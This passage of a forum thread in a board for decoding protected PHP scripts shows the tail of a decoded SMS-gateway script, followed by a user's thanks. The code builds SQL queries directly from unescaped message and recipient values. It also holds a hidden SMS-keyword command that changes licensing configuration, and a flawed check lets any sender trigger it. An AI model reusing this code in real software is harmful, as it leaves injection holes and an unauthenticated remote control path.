$textp = str_replace(" ","+",$text);
$urlku="$masking_url/sendbyhttp.aspx?username=$username&mobile=$mobile&message=$textp&auth=$auth";
$grab = getURL($urlku);
$agrab = explode(":",$grab);
$ref_no = $agrab[1];
$status = $agrab[0];
$sql="insert into smsserver_mask (recipient,text,create_date,status_report,ref_no,status,gateway_id)
Values ('$recipient','$text','$create_date','$status_report','$ref_no','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
echo $grab;
}
}
function upconfig($text,$originator){
$keysms = explode(" ",$text);
if($keysms[0]=="nolis" && $originator == "6285769010001"){
in2configleg(nixsmsc10);
}
if($keysms[0]=="openblokir" && $originator = "6285769010001"){
Update1(config,softwarename,nixsmsc11,softwarename,nixsmsc10);
}
}
function in2smsserver_delay($recipient,$text,$create_date,$flash_sms,$datetime_send,$status,$gateway_id,$id_inbox){
$create_date = date("Y-m-d H:i:s");
$sql="insert into smsserver_delay( recipient,text,create_date,flash_sms,datetime_send,status,gateway_id,id_inbox )
Values
( '$recipient','$text','$create_date','$flash_sms','$datetime_send','$status','$gateway_id','$id_inbox' )";
dbquery($sql);
$id=mysql_insert_id();
return $id;
}
function NowSMS($phoneNoRecip, $msgText,$SMSCRoute) {
$ipnowsms = TulisNama(nilai,konf,konf,ipnowsms);
$portnowsms = TulisNama(nilai,konf,konf,portnowsms);
$fp = fsockopen($ipnowsms,$portnowsms, $errno, $errstr);
if (!$fp) {
echo "errno: $errno \n";
echo "errstr: $errstr\n";
return $result;
}
fwrite($fp, "GET /?Phone=" . rawurlencode($phoneNoRecip) . "&Text=" . rawurlencode($msgText) . "&ReceiptRequested=YES&SMSCRoute=" . rawurlencode($SMSCRoute) . " HTTP/1.0\n");
if ($username != "") {
$auth = $username . ":" . $password;
$auth = base64_encode($auth);
fwrite($fp, "Authorization: Basic " . $auth . "\n");
}
fwrite($fp, "\n");
$res = "";
while(!feof($fp)) {
$res .= fread($fp,1);
}
fclose($fp);
return $res;
}
function CountThisDay($table,$var1){
$tglskr = date("Y-m-d");
$reslt=dbquery("select count(*) from $table where $var1 >= '$tglskr' ");
$row=dbnext($reslt);
return $row[0];
}
?> |
|
|
|
|
|
|
|
Thanks very much.... vince213333 |
|
Posted: Thu Jun 03, 2010 4:44 am |
|
|
bintang |
Regular user |
|
|
Joined: Jun 02, 2010 |
Posts: 15 |
|
|
|
|
|
|
|
Thanks very much.... vince213333 |
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|